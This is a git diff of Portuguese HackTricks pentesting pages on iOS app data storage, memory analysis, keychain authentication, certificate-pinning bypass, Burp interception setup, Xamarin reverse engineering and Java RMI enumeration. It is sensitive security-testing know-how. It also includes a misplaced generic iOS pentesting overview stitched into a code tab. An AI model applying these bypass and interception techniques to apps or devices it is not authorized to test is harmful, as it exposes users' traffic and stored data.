Uma preocupação óbvia é se os backups do iOS podem **vazar inadvertidamente dados sensíveis** armazenados pelo aplicativo. Outra preocupação, embora menos óbvia, é se as **configurações de configuração sensíveis usadas para proteger dados ou restringir a funcionalidade do aplicativo podem ser adulteradas para alterar o comportamento do aplicativo após a restauração de um backup modificado**. Ambas as preocupações são válidas e essas vulnerabilidades têm se mostrado existentes em um grande número de aplicativos hoje em dia.
|
||||
|
||||
Um backup de um dispositivo em que um aplicativo móvel foi instalado incluirá todos os subdiretórios (exceto `Library/Caches/`) e arquivos no [diretório privado do aplicativo](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW12).\
|
||||
Portanto, evite armazenar dados sensíveis em texto simples em qualquer um dos arquivos ou pastas que estão no diretório privado do aplicativo ou subdiretórios.
|
||||
Portanto, **evite armazenar dados sensíveis em texto simples em qualquer um dos arquivos ou pastas que estão no diretório privado do aplicativo ou subdiretórios**.
|
||||
|
||||
Embora todos os arquivos em `Documents/` e `Library/Application Support/` sejam sempre incluídos no backup por padrão, você pode [excluir arquivos do backup](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple\_ref/doc/uid/TP40010672-CH2-SW28) chamando `NSURL setResourceValue:forKey:error:` com a chave `NSURLIsExcludedFromBackupKey`.\
|
||||
Você pode usar as propriedades do sistema de arquivos [NSURLIsExcludedFromBackupKey](https://developer.apple.com/reference/foundation/nsurl#//apple\_ref/c/data/NSURLIsExcludedFromBackupKey) e [CFURLIsExcludedFromBackupKey](https://developer.apple.com/reference/corefoundation/cfurl-rd7#//apple\_ref/c/data/kCFURLIsExcludedFromBackupKey) para excluir arquivos e diretórios de backups.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Portanto, ao verificar o backup de um aplicativo, verifique se **alguma informação sensível** está acessível e se você pode **modificar algum comportamento sensível** do aplicativo **modificando alguma configuração do backup** e restaurando o backup.
|
||||
Portanto, ao verificar o backup de um aplicativo, verifique se **alguma informação sensível** é acessível e se você pode **modificar algum comportamento sensível** do aplicativo **modificando alguma configuração do backup** e restaurando o backup.
|
||||
{% endhint %}
|
||||
|
||||
**Como testar**
|
||||
|
@ -821,7 +812,7 @@ No aplicativo de carteira de bitcoin de código aberto, Bither, você verá que
|
|||
|
||||
Em algum momento, informações sensíveis serão armazenadas na memória. O objetivo é garantir que essas informações sejam expostas pelo menor tempo possível.
|
||||
|
||||
Para investigar a memória de um aplicativo, primeiro crie um **dump de memória**. Alternativamente, você pode **analisar a memória em tempo real** com, por exemplo, um depurador. Independentemente do método que você usar, esse é um processo muito propenso a erros, pois os dumps fornecem os dados deixados pelas funções executadas e você pode perder etapas críticas. Além disso, é muito fácil ignorar dados durante a análise, a menos que você conheça o formato ou o valor exato dos dados que está procurando. Por exemplo, se o aplicativo criptografa de acordo com uma chave simétrica gerada aleatoriamente, é muito improvável que você encontre a chave na memória, a menos que encontre seu valor por outros meios.
|
||||
Para investigar a memória de um aplicativo, primeiro crie um **dump de memória**. Alternativamente, você pode **analisar a memória em tempo real** com, por exemplo, um depurador. Independentemente do método que você usar, esse é um processo propenso a erros, pois os dumps fornecem os dados deixados pelas funções executadas e você pode perder etapas críticas. Além disso, é muito fácil ignorar dados durante a análise, a menos que você conheça o formato ou o valor exato dos dados que está procurando. Por exemplo, se o aplicativo criptografa de acordo com uma chave simétrica gerada aleatoriamente, é muito improvável que você encontre a chave na memória, a menos que encontre seu valor por outros meios.
|
||||
|
||||
**Recuperando e Analisando um Dump de Memória**
|
||||
|
||||
|
@ -857,13 +848,13 @@ Usage: /[!bf] [arg] Search stuff (see 'e??search' for options)
|
|||
```
|
||||
**Análise de Memória em Tempo de Execução**
|
||||
|
||||
Usando o [**r2frida**](https://github.com/nowsecure/r2frida), você pode analisar e inspecionar a memória do aplicativo enquanto ele está em execução, sem precisar fazer um dump. Por exemplo, você pode executar os comandos de pesquisa anteriores do r2frida e pesquisar a memória por uma string, valores hexadecimais, etc. Ao fazer isso, lembre-se de adicionar uma barra invertida `\` antes do comando de pesquisa (e de qualquer outro comando específico do r2frida) após iniciar a sessão com `r2 frida://usb//<nome_do_seu_app>`.
|
||||
Usando o [**r2frida**](https://github.com/nowsecure/r2frida), você pode analisar e inspecionar a memória do aplicativo enquanto ele está em execução, sem precisar fazer o dump dela. Por exemplo, você pode executar os comandos de pesquisa anteriores do r2frida e pesquisar a memória por uma string, valores hexadecimais, etc. Ao fazer isso, lembre-se de adicionar uma barra invertida `\` antes do comando de pesquisa (e de qualquer outro comando específico do r2frida) após iniciar a sessão com `r2 frida://usb//<nome_do_seu_app>`.
|
||||
|
||||
## Criptografia Quebrada
|
||||
|
||||
### Processos de Gerenciamento de Chave Fracos
|
||||
|
||||
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/predizível no código. Isso não deve ser feito, pois a reversão do código pode permitir que os atacantes extraiam as informações confidenciais.
|
||||
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/predizível no código. Isso não deve ser feito, pois a reversão pode permitir que os atacantes extraiam as informações confidenciais.
|
||||
|
||||
### Uso de Algoritmos Inseguros e/ou Obsoletos
|
||||
|
||||
|
@ -905,11 +896,11 @@ Os desenvolvedores podem exibir uma **solicitação de autenticação** utilizan
|
|||
|
||||
A função **`evaluatePolicy` retorna um valor booleano** indicando se o usuário foi autenticado com sucesso. Isso significa que pode ser facilmente contornado (veja abaixo)
|
||||
|
||||
### Autenticação Local usando o Keychain
|
||||
### Autenticação Local usando Keychain
|
||||
|
||||
As APIs do **keychain do iOS podem (e devem) ser usadas para implementar a autenticação local**. Durante esse processo, o aplicativo armazena um token de autenticação secreto ou outro dado secreto que identifica o usuário no keychain. Para autenticar em um serviço remoto, o usuário deve desbloquear o keychain usando sua senha ou impressão digital para obter os dados secretos.
|
||||
|
||||
O keychain permite salvar itens com o atributo especial `SecAccessControl`, que permitirá o acesso ao item apenas após o usuário passar pela autenticação do Touch ID (ou código de acesso, se tal fallback for permitido pelos parâmetros do atributo).
|
||||
O keychain permite salvar itens com o atributo especial `SecAccessControl`, que permitirá o acesso ao item apenas no keychain após o usuário passar pela autenticação do Touch ID (ou código de acesso, se tal fallback for permitido pelos parâmetros do atributo).
|
||||
|
||||
No exemplo a seguir, vamos salvar a string "test\_strong\_password" no keychain. A string só pode ser acessada no dispositivo atual enquanto o código de acesso estiver definido (parâmetro `kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`) e após a autenticação do Touch ID para as impressões digitais atualmente registradas (parâmetro `SecAccessControlCreateFlags.biometryCurrentSet`):
|
||||
|
||||
|
@ -1027,9 +1018,37 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
|
|||
// authorization not passed
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Objective-C" %}
|
||||
|
||||
# Pentesting em iOS
|
||||
|
||||
Este guia fornece uma visão geral das técnicas de pentesting em aplicativos iOS. Ele abrange várias áreas, incluindo análise estática e dinâmica, engenharia reversa, manipulação de dados em trânsito e em repouso, e exploração de vulnerabilidades comuns.
|
||||
|
||||
## Análise Estática
|
||||
|
||||
A análise estática envolve a revisão do código-fonte do aplicativo em busca de vulnerabilidades conhecidas e práticas inseguras. Isso pode ser feito usando ferramentas como o Xcode, que possui recursos de análise estática embutidos, ou ferramentas de terceiros, como o OCLint.
|
||||
|
||||
## Análise Dinâmica
|
||||
|
||||
A análise dinâmica envolve a execução do aplicativo em um ambiente controlado para identificar vulnerabilidades em tempo de execução. Isso pode ser feito usando ferramentas como o Frida, que permite a instrumentação do aplicativo em tempo real para interceptar chamadas de função e manipular dados em memória.
|
||||
|
||||
## Engenharia Reversa
|
||||
|
||||
A engenharia reversa envolve a desmontagem do código do aplicativo para entender seu funcionamento interno. Isso pode ser feito usando ferramentas como o Hopper ou o IDA Pro para analisar o código de montagem gerado a partir do código-fonte.
|
||||
|
||||
## Manipulação de Dados em Trânsito e em Repouso
|
||||
|
||||
A manipulação de dados em trânsito e em repouso envolve a identificação e exploração de vulnerabilidades relacionadas à criptografia, autenticação e comunicação segura. Isso pode ser feito usando ferramentas como o Burp Suite para interceptar e modificar o tráfego de rede.
|
||||
|
||||
## Exploração de Vulnerabilidades Comuns
|
||||
|
||||
A exploração de vulnerabilidades comuns envolve a identificação e exploração de vulnerabilidades conhecidas, como injeção de SQL, cross-site scripting (XSS) e deserialização não segura. Isso pode ser feito usando ferramentas como o OWASP ZAP para identificar e explorar essas vulnerabilidades.
|
||||
|
||||
## Conclusão
|
||||
|
||||
O pentesting em aplicativos iOS é uma parte essencial do processo de desenvolvimento seguro. Ao realizar análises estáticas e dinâmicas, engenharia reversa, manipulação de dados em trânsito e em repouso, e exploração de vulnerabilidades comuns, é possível identificar e corrigir vulnerabilidades antes que elas sejam exploradas por hackers mal-intencionados.
|
||||
|
||||
{% endtab %}
|
||||
```objectivec
|
||||
// 1. define query
|
||||
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||||
|
@ -1198,24 +1217,24 @@ Para verificar esse problema usando o Burp, depois de confiar no CA do Burp no i
|
|||
### Pinagem de Certificado
|
||||
|
||||
Se um aplicativo estiver usando corretamente a Pinagem SSL, então o aplicativo só funcionará se o certificado for o esperado. Ao testar um aplicativo, **isso pode ser um problema, pois o Burp irá fornecer seu próprio certificado.**\
|
||||
Para contornar essa proteção em um dispositivo com jailbreak, você pode instalar o aplicativo [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) ou instalar [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
Para contornar essa proteção em um dispositivo com jailbreak, você pode instalar o aplicativo [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) ou instalar o [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device).
|
||||
|
||||
Você também pode usar o comando `ios sslpinning disable` do **objection**.
|
||||
|
||||
## Miscelânea
|
||||
|
||||
* Em **`/System/Library`**, você pode encontrar os frameworks instalados no telefone usados pelas aplicações do sistema.
|
||||
* As aplicações instaladas pelo usuário da App Store estão localizadas em **`/User/Applications`**.
|
||||
* E o **`/User/Library`** contém dados salvos pelas aplicações de nível do usuário.
|
||||
* Em **`/System/Library`**, você pode encontrar os frameworks instalados no telefone usados por aplicativos do sistema.
|
||||
* Os aplicativos instalados pelo usuário na App Store estão localizados em **`/User/Applications`**.
|
||||
* E o **`/User/Library`** contém dados salvos pelos aplicativos de nível do usuário.
|
||||
* Você pode acessar **`/User/Library/Notes/notes.sqlite`** para ler as notas salvas dentro do aplicativo.
|
||||
* Dentro da pasta de uma aplicação instalada (**`/User/Applications/<APP ID>/`**), você pode encontrar alguns arquivos interessantes:
|
||||
* Dentro da pasta de um aplicativo instalado (**`/User/Applications/<APP ID>/`**), você pode encontrar alguns arquivos interessantes:
|
||||
* **`iTunesArtwork`**: O ícone usado pelo aplicativo.
|
||||
* **`iTunesMetadata.plist`**: Informações do aplicativo usadas na App Store.
|
||||
* **`/Library/*`**: Contém as preferências e o cache. Em **`/Library/Cache/Snapshots/*`**, você pode encontrar o snapshot realizado pela aplicação antes de enviá-la para o plano de fundo.
|
||||
* **`/Library/*`**: Contém as preferências e o cache. Em **`/Library/Cache/Snapshots/*`**, você pode encontrar o snapshot realizado pelo aplicativo antes de enviá-lo para o plano de fundo.
|
||||
|
||||
### Hot Patching/Atualização Forçada
|
||||
|
||||
Os desenvolvedores podem **corrigir remotamente todas as instalações de seu aplicativo instantaneamente**, sem precisar enviar novamente o aplicativo para a App Store e esperar até que seja aprovado.\
|
||||
Os desenvolvedores podem **corrigir remotamente todas as instalações de seu aplicativo instantaneamente**, sem precisar enviar o aplicativo novamente para a App Store e esperar pela aprovação.\
|
||||
Para esse propósito, geralmente é usado o [**JSPatch**](https://github.com/bang590/JSPatch)**.** Mas também existem outras opções, como [Siren](https://github.com/ArtSabintsev/Siren) e [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**Esse é um mecanismo perigoso que pode ser abusado por SDKs maliciosos de terceiros, portanto, é recomendado verificar qual método é usado para atualização automática (se houver) e testá-lo.** Você pode tentar baixar uma versão anterior do aplicativo para esse propósito.
|
||||
|
||||
|
@ -1253,7 +1272,7 @@ Você pode encontrar as **bibliotecas usadas por um aplicativo** executando o co
|
|||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -1265,10 +1284,10 @@ Acesse hoje:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
@ -32,7 +32,7 @@ Ou você pode seguir manualmente os próximos passos:
|
|||
|
||||
### Configurando um Proxy de Interceptação via localhost
|
||||
|
||||
Configurar o Burp para interceptar seu tráfego é bastante simples. Supomos que tanto o seu dispositivo iOS quanto o computador host estejam conectados a uma rede Wi-Fi que permita o tráfego de cliente para cliente. Se o tráfego de cliente para cliente não for permitido, você pode usar o usbmuxd para conectar-se ao Burp via USB.
|
||||
Configurar o Burp para intermediar seu tráfego é bastante simples. Supomos que tanto o seu dispositivo iOS quanto o computador host estejam conectados a uma rede Wi-Fi que permita tráfego de cliente para cliente. Se o tráfego de cliente para cliente não for permitido, você pode usar o usbmuxd para conectar-se ao Burp via USB.
|
||||
|
||||
A PortSwigger fornece um bom [tutorial sobre como configurar um dispositivo iOS para funcionar com o Burp](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) e um [tutorial sobre como instalar o certificado CA do Burp em um dispositivo iOS](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device).
|
||||
|
||||
|
@ -54,9 +54,9 @@ Agora você deve conseguir acessar o Burp em seu dispositivo iOS. Abra o Safari
|
|||
O último passo seria configurar o proxy globalmente em seu dispositivo iOS:
|
||||
|
||||
1. Vá para **Configurações** -> **Wi-Fi**
|
||||
2. Conecte-se a _qualquer_ Wi-Fi (você pode literalmente se conectar a qualquer Wi-Fi, pois o tráfego das portas 80 e 443 será roteado através do USB, já que estamos apenas usando a Configuração de Proxy para o Wi-Fi para que possamos definir um Proxy global)
|
||||
3. Uma vez conectado, clique no pequeno ícone azul no lado direito do Wi-Fi conectado
|
||||
4. Configure seu Proxy selecionando **Manual**
|
||||
2. Conecte-se a _qualquer_ Wi-Fi (você pode literalmente se conectar a qualquer Wi-Fi, pois o tráfego das portas 80 e 443 será roteado através do USB, já que estamos apenas usando a configuração de proxy para a Wi-Fi para que possamos definir um proxy global)
|
||||
3. Uma vez conectado, clique no pequeno ícone azul no lado direito da Wi-Fi conectada
|
||||
4. Configure seu proxy selecionando **Manual**
|
||||
5. Digite 127.0.0.1 como **Servidor**
|
||||
6. Digite 8080 como **Porta**
|
||||
|
||||
|
@ -82,7 +82,7 @@ A documentação do Wireshark oferece muitos exemplos de [Filtros de Captura](ht
|
|||
|
||||
## Instalação do Certificado Burp no Simulador
|
||||
|
||||
* **Exportar Certificado Burp**
|
||||
* **Exporte o Certificado Burp**
|
||||
|
||||
Em _Proxy_ --> _Opções_ --> _Exportar certificado CA_ --> _Certificado no formato DER_
|
||||
|
||||
|
@ -112,7 +112,7 @@ Passos para configurar o Burp como proxy:
|
|||
|
||||
* Clique em _**Ok**_ e depois em _**Aplicar**_
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -18,7 +18,7 @@ Xamarin é uma plataforma de código aberto que oferece aos desenvolvedores aces
|
|||
|
||||
### Arquitetura do Xamarin Android
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
O Xamarin oferece ligações .NET para os namespaces Android.\* e Java.\*. As aplicações Xamarin Android operam sob o ambiente de execução Mono, com a máquina virtual Android Runtime (ART) em execução lado a lado.
|
||||
|
||||
|
@ -28,19 +28,19 @@ Ambos esses ambientes são executados em cima do kernel Linux e invocam várias
|
|||
|
||||
### Projeto Xamarin iOS
|
||||
|
||||
As aplicações Xamarin.iOS são executadas sob o ambiente de execução Mono e usam a compilação completa Ahead of Time (AOT) para compilar códigos C# .NET para a linguagem de montagem ARM.
|
||||
As aplicações Xamarin.iOS são executadas sob o ambiente de execução Mono e usam a compilação Ahead of Time (AOT) completa para compilar códigos .NET C# para a linguagem de montagem ARM.
|
||||
|
||||
Ele é executado junto com o Objective-C Runtime. Os ambientes de execução são executados em cima de um kernel semelhante ao UNIX e invocam várias APIs para o código do usuário, o que permite que os desenvolvedores acessem o sistema gerenciado ou nativo subjacente.
|
||||
|
||||
O diagrama abaixo representa essa arquitetura:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### O que é .Net Runtime e Mono Framework?
|
||||
### O que é o .Net Runtime e o Mono Framework?
|
||||
|
||||
**.Net framework é um conjunto de assemblies, classes e namespaces** que os desenvolvedores podem usar para criar aplicativos; o .Net Runtime executa o código compilado, e o processo é chamado de execução de código gerenciado. O .NET Runtime oferece várias funcionalidades que garantem a independência de plataforma e são compatíveis com versões mais antigas do framework.
|
||||
**O .Net framework é um conjunto de assemblies, classes e namespaces** que os desenvolvedores podem usar para criar aplicativos; o .Net Runtime executa o código compilado, e o processo é chamado de execução de código gerenciado. O .NET Runtime oferece várias funcionalidades que garantem a independência de plataforma e são compatíveis com versões mais antigas do framework.
|
||||
|
||||
**Mono Framework** foi iniciado em 2005 como uma implementação do .NET Framework para Linux (Ximian/SuSe/Novell). Patrocinado pela Microsoft e liderado pela Xamarin, o Mono é a implementação de código aberto do framework .NET com base nos padrões ECMA para Common Language Runtime e C#.
|
||||
**O Mono Framework** foi iniciado em 2005 como uma implementação do .NET Framework para Linux (Ximian/SuSe/Novell). Patrocinado pela Microsoft e liderado pela Xamarin, o Mono é a implementação de código aberto do framework .NET com base nos padrões ECMA para Common Language Runtime e C#.
|
||||
|
||||
## Técnicas de Engenharia Reversa para Aplicativos Xamarin
|
||||
|
||||
|
@ -56,20 +56,20 @@ O **Visual Studio** descompila o código gerenciado, mesmo na ausência de símb
|
|||
|
||||
Existem duas opções para compilar código Xamarin baseado em C# em um aplicativo, ou seja, **compilação just-in-time e compilação ahead-of-time**. A forma de compilação afeta como o código do aplicativo é enviado dentro do arquivo apk ou ipa. Vamos dar uma olhada rápida nisso abaixo:
|
||||
|
||||
\- **Android**: O Xamarin permite que você compile usando **tanto as flags JIT quanto AOT para Android**. Também há uma maneira de obter a maior velocidade de execução usando o modo híbrido AOT. Observe que o modo AOT completo está disponível apenas para a licença Enterprise.
|
||||
\- **Android**: O Xamarin permite que você compile usando **as opções JIT e AOT para Android**. Também há uma maneira de obter a maior velocidade de execução usando o modo Hybrid AOT. Observe que o modo Full AOT está disponível apenas para a licença Enterprise.
|
||||
|
||||
\- **iOS**: Existe apenas uma opção no caso do iOS, **compilação ahead-of-time**. Isso ocorre devido às políticas da Apple, que proíbem a execução de código gerado dinamicamente em um dispositivo.
|
||||
|
||||
{% hint style="info" %}
|
||||
Se você encontrar um aplicativo compilado com AOT completo e se os arquivos de assembly IL forem removidos para reduzir o tamanho da compilação pelo desenvolvedor, a reversão exigirá uma etapa extra de extração dos arquivos dll dos arquivos .dll.so da pasta lib ou do arquivo `libmonodroid_bundle_app.so`. Se for um aplicativo compilado com AOT híbrido e os arquivos IL ainda estiverem presentes no pacote do aplicativo, podemos usá-los para engenharia reversa do aplicativo.
|
||||
Se você encontrar um aplicativo compilado com Full AOT e se os arquivos de assembly IL forem removidos para reduzir o tamanho da compilação pelo desenvolvedor, a reversão exigirá uma etapa adicional de extração dos arquivos dll dos arquivos .dll.so da pasta lib ou do arquivo `libmonodroid_bundle_app.so`. Se for um aplicativo compilado com Hybrid AOT e os arquivos IL ainda estiverem presentes no pacote do aplicativo, podemos usá-los para engenharia reversa do aplicativo.
|
||||
{% endhint %}
|
||||
## Obtendo os arquivos dll do APK/IPA
|
||||
|
||||
Basta **descompactar o arquivo apk/ipa** e copiar todos os arquivos presentes no diretório assemblies:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
No caso dos APKs do Android, esses arquivos dll estão **compactados** e não podem ser diretamente usados para descompilação. Felizmente, existem ferramentas disponíveis que podemos usar para **descompactar esses arquivos dll**, como o [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) e o [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
|
||||
No caso dos APKs do Android, **esses arquivos dll estão comprimidos** e não podem ser diretamente usados para descompilação. Felizmente, existem ferramentas disponíveis que podemos usar para **descomprimir esses arquivos dll** como [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) e [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
|
||||
```
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
|
@ -79,9 +79,9 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
|||
```
|
||||
No caso do iOS, **os arquivos DLL dentro dos arquivos IPA podem ser carregados diretamente** em um descompilador (não é necessário descompactar nada).
|
||||
|
||||
**A maioria do código do aplicativo pode ser encontrado ao descompilar os arquivos DLL**. Além disso, observe que os aplicativos baseados no Xamarin Framework contêm 90% do código comum nas compilações de todas as plataformas, como iOS e Android, etc.
|
||||
**A maioria do código do aplicativo pode ser encontrado quando descompilamos os arquivos DLL**. Além disso, observe que os aplicativos baseados no Xamarin Framework contêm 90% do código comum nas compilações de todas as plataformas, como iOS e Android, etc.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
A partir da captura de tela acima, listando os arquivos DLL que estavam presentes no APK, podemos confirmar que é um aplicativo Xamarin. Ele contém arquivos DLL específicos do aplicativo, juntamente com os arquivos de biblioteca necessários para a execução do aplicativo, como `Xamarin.Essentails.dll` ou `Mono.Security.dll`.
|
||||
|
||||
|
|
|
@ -12,11 +12,11 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -45,7 +45,7 @@ Em termos simples, o _Java RMI_ permite que um desenvolvedor torne um _objeto Ja
|
|||
|
||||
O primeiro desafio é resolvido pelo _RMI registry_, que é basicamente um serviço de nomeação para o _Java RMI_. O _RMI registry_ em si também é um serviço _RMI_, mas a interface implementada e o `ObjID` são fixos e conhecidos por todos os clientes _RMI_. Isso permite que os clientes _RMI_ consumam o _RMI registry_ apenas conhecendo a porta _TCP_ correspondente.
|
||||
|
||||
Quando os desenvolvedores desejam disponibilizar seus _objetos Java_ na rede, eles geralmente os vinculam a um _RMI registry_. O _registry_ armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor `ObjID`) e as torna disponíveis sob um nome legível para humanos (o _nome vinculado_). Os clientes que desejam consumir o serviço _RMI_ solicitam ao _RMI registry_ o nome vinculado correspondente e o registro retorna todas as informações necessárias para se conectar. Assim, a situação é basicamente a mesma que com um serviço _DNS_ comum. O exemplo a seguir mostra um pequeno exemplo:
|
||||
Quando os desenvolvedores desejam disponibilizar seus _objetos Java_ na rede, eles geralmente os vinculam a um _RMI registry_. O _registry_ armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor `ObjID`) e as torna disponíveis sob um nome legível para humanos (o _nome vinculado_). Os clientes que desejam consumir o serviço _RMI_ solicitam ao _RMI registry_ o _nome vinculado_ correspondente e o registro retorna todas as informações necessárias para se conectar. Assim, a situação é basicamente a mesma que com um serviço _DNS_ comum. O exemplo a seguir mostra um pequeno exemplo:
|
||||
```java
|
||||
import java.rmi.registry.Registry;
|
||||
import java.rmi.registry.LocateRegistry;
|
||||
|
@ -307,7 +307,7 @@ Name: Enumeration
|
|||
Description: Perform basic enumeration of an RMI service
|
||||
Command: rmg enum {IP} {PORT}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
|
|
|
@ -12,7 +12,7 @@
|
